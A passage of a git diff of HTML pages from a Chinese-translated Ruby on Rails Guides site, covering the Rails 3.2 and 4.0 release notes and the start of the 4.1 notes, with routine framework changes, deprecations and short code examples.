  • Added config.exceptions_app to set the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to ActionDispatch::PublicExceptions.new(Rails.public_path).

  • +
  • Added a DebugExceptions middleware which contains features extracted from ShowExceptions middleware.

  • +
  • Display mounted engines' routes in rake routes.

  • +
  • +

    Allow to change the loading order of railties with config.railties_order like:

    +
    +
    +config.railties_order = [Blog::Engine, :main_app, :all]
    +
    +
    +
    +
  • +
  • Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.

  • +
  • Update Rails::Rack::Logger middleware to apply any tags set in config.log_tags to ActiveSupport::TaggedLogging. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.

  • +
  • Default options to rails new can be set in ~/.railsrc. You can specify extra command-line arguments to be used every time rails new runs in the .railsrc configuration file in your home directory.

  • +
  • Add an alias d for destroy. This works for engines too.

  • +
  • Attributes on scaffold and model generators default to string. This allows the following: rails g scaffold Post title body:text author

  • +
  • +

    Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,

    +
    +
    +rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
    +
    +
    +
    +

    will create indexes for title and author with the latter being a unique index. Some types such as decimal accept custom options. In the example, price will be a decimal column with precision and scale set to 7 and 2 respectively.

    +
  • +
  • Turn gem has been removed from default Gemfile.

  • +
  • Remove old plugin generator rails generate plugin in favor of rails plugin new command.

  • +
  • Remove old config.paths.app.controller API in favor of config.paths["app/controller"].

  • +
+
5.1 Deprecations
+
    +
  • +Rails::Plugin is deprecated and will be removed in Rails 4.0. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.
  • +
+

6 Action Mailer

+
    +
  • Upgraded mail version to 2.4.0.

  • +
  • Removed the old Action Mailer API which was deprecated since Rails 3.0.

  • +
+

7 Action Pack

7.1 Action Controller

+
    +
  • Make ActiveSupport::Benchmarkable a default module for ActionController::Base, so the #benchmark method is once again available in the controller context like it used to be.

  • +
  • Added :gzip option to caches_page. The default option can be configured globally using page_cache_compression.

  • +
  • +

    Rails will now use your default layout (such as "layouts/application") when you specify a layout with :only and :except condition, and those conditions fail.

    +
    +
    +class CarsController
    +  layout 'single_car', :only => :show
    +end
    +
    +
    +
    +

    Rails will use layouts/single_car when a request comes in :show action, and use layouts/application (or layouts/cars, if exists) when a request comes in for any other actions.

    +
  • +
  • form_for is changed to use #{action}_#{as} as the css class and id if :as option is provided. Earlier versions used #{as}_#{action}.

  • +
  • ActionController::ParamsWrapper on Active Record models now only wrap attr_accessible attributes if they were set. If not, only the attributes returned by the class method attribute_names will be wrapped. This fixes the wrapping of nested attributes by adding them to attr_accessible.

  • +
  • Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.

  • +
  • ActionDispatch::ShowExceptions is refactored. The controller is responsible for choosing to show exceptions. It's possible to override show_detailed_exceptions? in controllers to specify which requests should provide debugging information on errors.

  • +
  • Responders now return 204 No Content for API requests without a response body (as in the new scaffold).

  • +
  • +

    ActionController::TestCase cookies is refactored. Assigning cookies for test cases should now use cookies[]

    +
    +
    +cookies[:email] = 'user@example.com'
    +get :index
    +assert_equal 'user@example.com', cookies[:email]
    +
    +
    +
    +

    To clear the cookies, use clear.

    +
    +
    +cookies.clear
    +get :index
    +assert_nil cookies[:email]
    +
    +
    +
    +

    We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.

    +
  • +
  • send_file now guesses the MIME type from the file extension if :type is not provided.

  • +
  • MIME type entries for PDF, ZIP and other formats were added.

  • +
  • Allow fresh_when/stale? to take a record instead of an options hash.

  • +
  • Changed log level of warning for missing CSRF token from :debug to :warn.

  • +
  • Assets should use the request protocol by default or default to relative if no request is available.

  • +
+
7.1.1 Deprecations
+
    +
  • +

    Deprecated implied layout lookup in controllers whose parent had an explicit layout set:

    +
    +
    +class ApplicationController
    +  layout "application"
    +end
    +
    +class PostsController < ApplicationController
    +end
    +
    +
    +
    +

    In the example above, PostsController will no longer automatically look up for a posts layout. If you need this functionality you could either remove layout "application" from ApplicationController or explicitly set it to nil in PostsController.

    +
  • +
  • Deprecated ActionController::UnknownAction in favor of AbstractController::ActionNotFound.

  • +
  • Deprecated ActionController::DoubleRenderError in favor of AbstractController::DoubleRenderError.

  • +
  • Deprecated method_missing in favor of action_missing for missing actions.

  • +
  • Deprecated ActionController#rescue_action, ActionController#initialize_template_class and ActionController#assign_shortcuts.

  • +
+

7.2 Action Dispatch

+
    +
  • Add config.action_dispatch.default_charset to configure default charset for ActionDispatch::Response.

  • +
  • Added ActionDispatch::RequestId middleware that'll make a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#uuid method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.

  • +
  • The ShowExceptions middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in env["action_dispatch.exception"] and with the PATH_INFO rewritten to the status code.

  • +
  • Allow rescue responses to be configured through a railtie as in config.action_dispatch.rescue_responses.

  • +
+
7.2.1 Deprecations
+
    +
  • Deprecated the ability to set a default charset at the controller level, use the new config.action_dispatch.default_charset instead.
  • +
+

7.3 Action View

+
    +
  • +

    Add button_tag support to ActionView::Helpers::FormBuilder. This support mimics the default behavior of submit_tag.

    +
    +
    +<%= form_for @post do |f| %>
    +  <%= f.button %>
    +<% end %>
    +
    +
    +
    +
  • +
  • Date helpers accept a new option :use_two_digit_numbers => true, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.

  • +
  • +

    You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.

    +
    +
    +<%= form_for(@offer, :namespace => 'namespace') do |f| %>
    +  <%= f.label :version, 'Version' %>:
    +  <%= f.text_field :version %>
    +<% end %>
    +
    +
    +
    +
  • +
  • Limit the number of options for select_year to 1000. Pass :max_years_allowed option to set your own limit.

  • +
  • +

    content_tag_for and div_for can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:

    +
    +
    +@items.each do |item|
    +  content_tag_for(:li, item) do
    +     Title: <%= item.title %>
    +  end
    +end
    +
    +
    +
    +

    You can do this:

    +
    +
    +content_tag_for(:li, @items) do |item|
    +  Title: <%= item.title %>
    +end
    +
    +
    +
    +
  • +
  • Added font_path helper method that computes the path to a font asset in public/fonts.

  • +
+
7.3.1 Deprecations
+
    +
  • Passing formats or handlers to render :template and friends like render :template => "foo.html.erb" is deprecated. Instead, you can provide :handlers and :formats directly as options: render :template => "foo", :formats => [:html, :js], :handlers => :erb.
  • +
+

7.4 Sprockets

+
    +
  • Adds a configuration option config.assets.logger to control Sprockets logging. Set it to false to turn off logging and to nil to default to Rails.logger.
  • +
+

8 Active Record

+
    +
  • Boolean columns with 'on' and 'ON' values are type cast to true.

  • +
  • When the timestamps method creates the created_at and updated_at columns, it makes them non-nullable by default.

  • +
  • Implemented ActiveRecord::Relation#explain.

  • +
  • Implements ActiveRecord::Base.silence_auto_explain which allows the user to selectively disable automatic EXPLAINs within a block.

  • +
  • Implements automatic EXPLAIN logging for slow queries. A new configuration parameter config.active_record.auto_explain_threshold_in_seconds determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.

  • +
  • +

    Added ActiveRecord::Base.store for declaring simple single-column key/value stores.

    +
    +
    +class User < ActiveRecord::Base
    +  store :settings, accessors: [ :color, :homepage ]
    +end
    +
    +u = User.new(color: 'black', homepage: '37signals.com')
    +u.color                          # Accessor stored attribute
    +u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
    +
    +
    +
    +
  • +
  • +

    Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).

    +
    +
    +rake db:migrate SCOPE=blog
    +
    +
    +
    +
  • +
  • Migrations copied from engines are now scoped with engine's name, for example 01_create_posts.blog.rb.

  • +
  • +

    Implemented ActiveRecord::Relation#pluck method that returns an array of column values directly from the underlying table. This also works with serialized attributes.

    +
    +
    +Client.where(:active => true).pluck(:id)
    +# SELECT id from clients where active = 1
    +
    +
    +
    +
  • +
  • Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named MyModel::GeneratedFeatureMethods. It is included into the model class immediately after the generated_attributes_methods module defined in Active Model, so association methods override attribute methods of the same name.

  • +
  • +

    Add ActiveRecord::Relation#uniq for generating unique queries.

    +
    +
    +Client.select('DISTINCT name')
    +
    +
    +
    +

    ..can be written as:

    +
    +
    +Client.select(:name).uniq
    +
    +
    +
    +

    This also allows you to revert the uniqueness in a relation:

    +
    +
    +Client.select(:name).uniq.uniq(false)
    +
    +
    +
    +
  • +
  • Support index sort order in SQLite, MySQL and PostgreSQL adapters.

  • +
  • +

    Allow the :class_name option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.

    +
    +
    +has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
    +
    +
    +
    +
  • +
  • In development mode, db:drop also drops the test database in order to be symmetric with db:create.

  • +
  • Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.

  • +
  • Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.

  • +
  • +

    Add first_or_create, first_or_create!, first_or_initialize methods to Active Record. This is a better approach over the old find_or_create_by dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.

    +
    +
    +User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
    +
    +
    +
    +
  • +
  • +

    Added a with_lock method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to lock!.

    +

    This makes it possible to write the following:

    +
    +
    +class Order < ActiveRecord::Base
    +  def cancel!
    +    transaction do
    +      lock!
    +      # ... cancelling logic
    +    end
    +  end
    +end
    +
    +
    +
    +

    as:

    +
    +
    +class Order < ActiveRecord::Base
    +  def cancel!
    +    with_lock do
    +      # ... cancelling logic
    +    end
    +  end
    +end
    +
    +
    +
    +
  • +
+

8.1 Deprecations

+
    +
  • +

    Automatic closure of connections in threads is deprecated. For example the following code is deprecated:

    +
    +
    +Thread.new { Post.find(1) }.join
    +
    +
    +
    +

    It should be changed to close the database connection at the end of the thread:

    +
    +
    +Thread.new {
    +  Post.find(1)
    +  Post.connection.close
    +}.join
    +
    +
    +
    +

    Only people who spawn threads in their application code need to worry about this change.

    +
  • +
  • +

    The set_table_name, set_inheritance_column, set_sequence_name, set_primary_key, set_locking_column methods are deprecated. Use an assignment method instead. For example, instead of set_table_name, use self.table_name=.

    +
    +
    +class Project < ActiveRecord::Base
    +  self.table_name = "project"
    +end
    +
    +
    +
    +

    Or define your own self.table_name method:

    +
    +
    +class Post < ActiveRecord::Base
    +  def self.table_name
    +    "special_" + super
    +  end
    +end
    +
    +Post.table_name # => "special_posts"
    +
    +
    +
    +
    +
  • +
+

9 Active Model

+
    +
  • Add ActiveModel::Errors#added? to check if a specific error has been added.

  • +
  • Add ability to define strict validations with strict => true that always raises exception when fails.

  • +
  • Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.

  • +
+

9.1 Deprecations

+
    +
  • Deprecated define_attr_method in ActiveModel::AttributeMethods because this only existed to support methods like set_table_name in Active Record, which are themselves being deprecated.

  • +
  • Deprecated Model.model_name.partial_path in favor of model.to_partial_path.

  • +
+

10 Active Resource

+
    +
  • Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.
  • +
+

11 Active Support

+
    +
  • +

    Added ActiveSupport:TaggedLogging that can wrap any standard Logger class to provide tagging capabilities.

    +
    +
    +Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
    +
    +Logger.tagged("BCX") { Logger.info "Stuff" }
    +# Logs "[BCX] Stuff"
    +
    +Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
    +# Logs "[BCX] [Jason] Stuff"
    +
    +Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
    +# Logs "[BCX] [Jason] Stuff"
    +
    +
    +
    +
  • +
  • The beginning_of_week method in Date, Time and DateTime accepts an optional argument representing the day in which the week is assumed to start.

  • +
  • ActiveSupport::Notifications.subscribed provides subscriptions to events while a block runs.

  • +
  • Defined new methods Module#qualified_const_defined?, Module#qualified_const_get and Module#qualified_const_set that are analogous to the corresponding methods in the standard API, but accept qualified constant names.

  • +
  • Added #deconstantize which complements #demodulize in inflections. This removes the rightmost segment in a qualified constant name.

  • +
  • Added safe_constantize that constantizes a string but returns nil instead of raising an exception if the constant (or part of it) does not exist.

  • +
  • ActiveSupport::OrderedHash is now marked as extractable when using Array#extract_options!.

  • +
  • Added Array#prepend as an alias for Array#unshift and Array#append as an alias for Array#<<.

  • +
  • The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace.

  • +
  • The inflector understands acronyms.

  • +
  • +

    Added Time#all_day, Time#all_week, Time#all_quarter and Time#all_year as a way of generating ranges.

    +
    +
    +Event.where(:created_at => Time.now.all_week)
    +Event.where(:created_at => Time.now.all_day)
    +
    +
    +
    +
  • +
  • Added instance_accessor: false as an option to Class#cattr_accessor and friends.

  • +
  • ActiveSupport::OrderedHash now has different behavior for #each and #each_pair when given a block accepting its parameters with a splat.

  • +
  • Added ActiveSupport::Cache::NullStore for use in development and testing.

  • +
  • Removed ActiveSupport::SecureRandom in favor of SecureRandom from the standard library.

  • +
+

11.1 Deprecations

+
    +
  • ActiveSupport::Base64 is deprecated in favor of ::Base64.

  • +
  • Deprecated ActiveSupport::Memoizable in favor of Ruby memoization pattern.

  • +
  • Module#synchronize is deprecated with no replacement. Please use monitor from ruby's standard library.

  • +
  • Deprecated ActiveSupport::MessageEncryptor#encrypt and ActiveSupport::MessageEncryptor#decrypt.

  • +
  • ActiveSupport::BufferedLogger#silence is deprecated. If you want to squelch logs for a certain block, change the log level for that block.

  • +
  • ActiveSupport::BufferedLogger#open_log is deprecated. This method should not have been public in the first place.

  • +
  • ActiveSupport::BufferedLogger's behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.

  • +
  • +

    ActiveSupport::BufferedLogger#auto_flushing is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.

    +
    +
    +f = File.open('foo.log', 'w')
    +f.sync = true
    +ActiveSupport::BufferedLogger.new f
    +
    +
    +
    +
  • +
  • ActiveSupport::BufferedLogger#flush is deprecated. Set sync on your filehandle, or tune your filesystem.

  • +
+

12 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.2 Release Notes were compiled by Vijay Dev.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/4_0_release_notes.html b/4_0_release_notes.html new file mode 100644 index 0000000..5aedff4 --- /dev/null +++ b/4_0_release_notes.html @@ -0,0 +1,537 @@ + + + + + + + +Ruby on Rails 4.0 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 4.0 Release Notes

Highlights in Rails 4.0:

+ +

These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the list of +commits in the main Rails +repository on GitHub.

+ + + +
+
+ +
+
+
+

1 Upgrading to Rails 4.0

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Creating a Rails 4.0 application

+
+ You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+
+
+
+

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: Bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

+
+$ rails new myapp --edge
+
+
+
+

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

+
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+
+
+
+

3 Major Features

Rails 4.0

3.1 Upgrade

+
    +
  • +Ruby 1.9.3 (commit) - Ruby 2.0 preferred; 1.9.3+ required
  • +
  • +New deprecation policy - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.
  • +
  • +ActionPack page and action caching (commit) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching.
  • +
  • +ActiveRecord observers (commit) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code.
  • +
  • +ActiveRecord session store (commit) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store.
  • +
  • +ActiveModel mass assignment protection (commit) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters.
  • +
  • +ActiveResource (commit) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used.
  • +
  • +vendor/plugins removed (commit) - Use a Gemfile to manage installed gems.
  • +
+

3.2 ActionPack

+
    +
  • +Strong parameters (commit) - Only allow whitelisted parameters to update model objects (params.permit(:title, :text)).
  • +
  • +Routing concerns (commit) - In the routing DSL, factor out common subroutes (comments from /posts/1/comments and /videos/1/comments).
  • +
  • +ActionController::Live (commit) - Stream JSON with response.stream.
  • +
  • +Declarative ETags (commit) - Add controller-level etag additions that will be part of the action etag computation.
  • +
  • +Russian doll caching (commit) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object.
  • +
  • +Turbolinks (commit) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body.
  • +
  • +Decouple ActionView from ActionController (commit) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1.
  • +
  • +Do not depend on ActiveModel (commit) - ActionPack no longer depends on ActiveModel.
  • +
+

3.3 General

+
    +
  • +ActiveModel::Model (commit) - ActiveModel::Model, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for form_for)
  • +
  • +New scope API (commit) - Scopes must always use callables.
  • +
  • +Schema cache dump (commit) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file.
  • +
  • +Support for specifying transaction isolation level (commit) - Choose whether repeatable reads or improved performance (less locking) is more important.
  • +
  • +Dalli (commit) - Use Dalli memcache client for the memcache store.
  • +
  • +Notifications start & finish (commit) - Active Support instrumentation reports start and finish notifications to subscribers.
  • +
  • +Thread safe by default (commit) - Rails can run in threaded app servers without additional configuration.
  • +
+

Check that the gems you are using are threadsafe.

+
    +
  • +PATCH verb (commit) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources.
  • +
+

3.4 Security

+
    +
  • +match do not catch all (commit) - In the routing DSL, match requires the HTTP verb or verbs to be specified.
  • +
  • +html entities escaped by default (commit) - Strings rendered in erb are escaped unless wrapped with raw or html_safe is called.
  • +
  • +New security headers (commit) - Rails sends the following headers with every HTTP request: X-Frame-Options (prevents clickjacking by forbidding the browser from embedding the page in a frame), X-XSS-Protection (asks the browser to halt script injection) and X-Content-Type-Options (prevents the browser from opening a jpeg as an exe).
  • +
+

4 Extraction of features to gems

In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your Gemfile to bring the functionality back.

+ +

5 Documentation

+
    +
  • Guides are rewritten in GitHub Flavored Markdown.

  • +
  • Guides have a responsive design.

  • +
+

6 Railties

Please refer to the Changelog for detailed changes.

6.1 Notable changes

+
    +
  • New test locations test/models, test/helpers, test/controllers, and test/mailers. Corresponding rake tasks added as well. (Pull Request)

  • +
  • Your app's executables now live in the bin/ directory. Run rake rails:update:bin to get bin/bundle, bin/rails, and bin/rake.

  • +
  • Threadsafe on by default

  • +
  • Ability to use a custom builder by passing --builder (or -b) to +rails new has been removed. Consider using application templates +instead. (Pull Request)

  • +
+

6.2 Deprecations

+
    +
  • config.threadsafe! is deprecated in favor of config.eager_load which provides a more fine grained control on what is eager loaded.

  • +
  • Rails::Plugin has gone. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.

  • +
+

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Notable changes

7.2 Deprecations

8 Active Model

Please refer to the Changelog for detailed changes.

8.1 Notable changes

+
    +
  • Add ActiveModel::ForbiddenAttributesProtection, a simple module to protect attributes from mass assignment when non-permitted attributes are passed.

  • +
  • Added ActiveModel::Model, a mixin to make Ruby objects work with Action Pack out of box.

  • +
+

8.2 Deprecations

9 Active Support

Please refer to the Changelog for detailed changes.

9.1 Notable changes

+
    +
  • Replace deprecated memcache-client gem with dalli in ActiveSupport::Cache::MemCacheStore.

  • +
  • Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead.

  • +
  • Inflections can now be defined per locale. singularize and pluralize accept locale as an extra argument.

  • +
  • Object#try will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new Object#try!.

  • +
  • String#to_date now raises ArgumentError: invalid date instead of NoMethodError: undefined method 'div' for nil:NilClass +when given an invalid date. It is now the same as Date.parse, and it accepts more invalid dates than 3.x, such as:

  • +
+
+
+  # ActiveSupport 3.x
+  "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+  "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+
+  # ActiveSupport 4
+  "asdf".to_date # => ArgumentError: invalid date
+  "333".to_date # => Fri, 29 Nov 2013
+
+
+
+

9.2 Deprecations

+
    +
  • Deprecate ActiveSupport::TestCase#pending method, use skip from MiniTest instead.

  • +
  • ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.

  • +
  • ActiveSupport::JSON::Variable is deprecated. Define your own #as_json and #encode_json methods for custom JSON string literals.

  • +
  • Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols).

  • +
  • BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby standard library.

  • +
  • Deprecate assert_present and assert_blank in favor of assert object.blank? and assert object.present?

  • +
+

10 Action Pack

Please refer to the Changelog for detailed changes.

10.1 Notable changes

+
    +
  • Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages.
  • +
+

10.2 Deprecations

11 Active Record

Please refer to the Changelog for detailed changes.

11.1 Notable changes

+
    +
  • +

    Improve ways to write change migrations, making the old up & down methods no longer necessary.

    +
      +
    • The methods drop_table and remove_column are now reversible, as long as the necessary information is given. +The method remove_column used to accept multiple column names; instead use remove_columns (which is not revertible). +The method change_table is also reversible, as long as its block doesn't call remove, change or change_default +
    • +
    • New method reversible makes it possible to specify code to be run when migrating up or down. +See the Guide on Migration +
    • +
    • New method revert will revert a whole migration or the given block. +If migrating down, the given migration / block is run normally. +See the Guide on Migration +
    • +
    +
  • +
  • Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.

  • +
  • Add Relation#load to explicitly load the record and return self.

  • +
  • Model.all now returns an ActiveRecord::Relation, rather than an array of records. Use Relation#to_a if you really want an array. In some specific cases, this may cause breakage when upgrading.

  • +
  • Added ActiveRecord::Migration.check_pending! that raises an error if migrations are pending.

  • +
  • +

    Added custom coders support for ActiveRecord::Store. Now you can set your custom coder like this:

    +
    +
    +store :settings, accessors: [ :color, :homepage ], coder: JSON
    +
    +
    +
    +
  • +
  • mysql and mysql2 connections will set SQL_MODE=STRICT_ALL_TABLES by default to avoid silent data loss. This can be disabled by specifying strict: false in your database.yml.

  • +
  • Remove IdentityMap.

  • +
  • Remove automatic execution of EXPLAIN queries. The option active_record.auto_explain_threshold_in_seconds is no longer used and should be removed.

  • +
  • Adds ActiveRecord::NullRelation and ActiveRecord::Relation#none implementing the null object pattern for the Relation class.

  • +
  • Added create_join_table migration helper to create HABTM join tables.

  • +
  • Allows PostgreSQL hstore records to be created.

  • +
+

11.2 Deprecations

+
    +
  • Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do.

  • +
  • +

    All dynamic methods except for find_by_... and find_by_...! are deprecated. Here's +how you can rewrite the code:

    +
      +
    • +find_all_by_... can be rewritten using where(...).
    • +
    • +find_last_by_... can be rewritten using where(...).last.
    • +
    • +scoped_by_... can be rewritten using where(...).
    • +
    • +find_or_initialize_by_... can be rewritten using find_or_initialize_by(...).
    • +
    • +find_or_create_by_... can be rewritten using find_or_create_by(...).
    • +
    • +find_or_create_by_...! can be rewritten using find_or_create_by!(...).
    • +
    +
  • +
+

12 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/4_1_release_notes.html b/4_1_release_notes.html new file mode 100644 index 0000000..39b3f61 --- /dev/null +++ b/4_1_release_notes.html @@ -0,0 +1,845 @@ + + + + + + + +Ruby on Rails 4.1 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 4.1 Release Notes

Highlights in Rails 4.1:

+ +

These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the list of +commits in the main Rails +repository on GitHub.

+ + + +
+
+ +
+
+
+

1 Upgrading to Rails 4.1

If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.0 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 4.1. A list of things to watch out for when upgrading is +available in the +Upgrading Ruby on Rails +guide.

2 Major Features

2.1 Spring Application Preloader

Spring is a Rails application preloader. It speeds up development by keeping +your application running in the background so you don't need to boot it every +time you run a test, rake task or migration.

New Rails 4.1 applications will ship with "springified" binstubs. This means +that bin/rails and bin/rake will automatically take advantage of preloaded +spring environments.

Running rake tasks:

+
+bin/rake test:models
+
+
+
+

Running a Rails command:

+
+bin/rails console
+
+
+
+

Spring introspection:

+
+$ bin/spring status
+Spring is running:
+
+ 1182 spring server | my_app | started 29 mins ago
+ 3656 spring app    | my_app | started 23 secs ago | test mode
+ 3746 spring app    | my_app | started 10 secs ago | development mode
+
+
+
+

Have a look at the +Spring README to +see all available features.

See the Upgrading Ruby on Rails +guide on how to migrate existing applications to use this feature.

2.2 config/secrets.yml +

Rails 4.1 generates a new secrets.yml file in the config folder. By default, +this file contains the application's secret_key_base, but it could also be +used to store other secrets such as access keys for external APIs.

The secrets added to this file are accessible via Rails.application.secrets. +For example, with the following config/secrets.yml:

+
+development:
+  secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+  some_api_key: SOMEKEY
+
+
+
+

Rails.application.secrets.some_api_key returns SOMEKEY in the development +environment.

See the Upgrading Ruby on Rails +guide on how to migrate existing applications to use this feature.

2.3 Action Pack Variants

We often want to render different HTML/JSON/XML templates for phones, +tablets, and desktop browsers. Variants make it easy.

The request variant is a specialization of the request format, like :tablet, +:phone, or :desktop.

You can set the variant in a before_action:

+
+request.variant = :tablet if request.user_agent =~ /iPad/
+
+
+
+

Respond to variants in the action just like you respond to formats:

+
+respond_to do |format|
+  format.html do |html|
+    html.tablet # renders app/views/projects/show.html+tablet.erb
+    html.phone { extra_setup; render ... }
+  end
+end
+
+
+
+

Provide separate templates for each format and variant:

+
+app/views/projects/show.html.erb
+app/views/projects/show.html+tablet.erb
+app/views/projects/show.html+phone.erb
+
+
+
+

You can also simplify the variants definition using the inline syntax:

+
+respond_to do |format|
+  format.js         { render "trash" }
+  format.html.phone { redirect_to progress_path }
+  format.html.none  { render "trash" }
+end
+
+
+
+

2.4 Action Mailer Previews

Action Mailer previews provide a way to see how emails look by visiting +a special URL that renders them.

You implement a preview class whose methods return the mail object you'd like +to check:

+
+class NotifierPreview < ActionMailer::Preview
+  def welcome
+    Notifier.welcome(User.first)
+  end
+end
+
+
+
+

The preview is available in http://localhost:3000/rails/mailers/notifier/welcome, +and a list of them in http://localhost:3000/rails/mailers.

By default, these preview classes live in test/mailers/previews. +This can be configured using the preview_path option.

See its +documentation +for a detailed write up.

2.5 Active Record enums

